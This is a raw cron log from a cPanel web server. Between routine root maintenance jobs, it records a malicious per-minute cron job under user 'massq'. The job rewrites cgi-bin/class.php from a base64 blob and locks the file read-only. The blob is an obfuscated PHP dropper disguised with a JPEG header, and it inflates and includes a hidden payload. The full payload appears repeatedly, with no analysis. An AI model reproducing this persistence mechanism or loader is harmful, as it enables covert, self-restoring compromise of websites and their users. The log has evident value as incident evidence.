Sep 10 15:34:01 server CROND[530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:35:01 server CROND[943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:35:01 server CROND[945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:35:01 server CROND[951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:35:01 server CROND[956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:35:01 server CROND[950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:35:01 server CROND[955]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 15:35:01 server CROND[952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:35:01 server CROND[954]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:35:01 server CROND[953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:36:01 server CROND[1879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:36:01 server CROND[1880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:36:01 server CROND[1881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:37:01 server CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:37:01 server CROND[2300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:37:01 server CROND[2301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:38:01 server CROND[2702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:38:01 server CROND[2703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:38:01 server CROND[2704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:39:01 server CROND[3075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:39:01 server CROND[3076]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 15:39:01 server CROND[3077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:39:01 server CROND[3078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:40:01 server CROND[3573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:40:01 server CROND[3574]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:40:01 server CROND[3576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:40:01 server CROND[3580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:40:01 server CROND[3582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:40:01 server CROND[3583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:40:01 server CROND[3584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:40:01 server CROND[3585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:41:01 server CROND[4402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:41:01 server CROND[4403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:41:01 server CROND[4404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:42:01 server CROND[4769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:42:01 server CROND[4770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:42:01 server CROND[4772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:42:01 server CROND[4771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:43:01 server CROND[5139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:43:01 server CROND[5140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:43:01 server CROND[5148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:44:01 server CROND[5514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:44:01 server CROND[5515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:44:01 server CROND[5516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:45:01 server CROND[5988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:45:01 server CROND[5990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:45:01 server CROND[6000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:45:01 server CROND[5999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:45:01 server CROND[6002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:45:01 server CROND[6001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
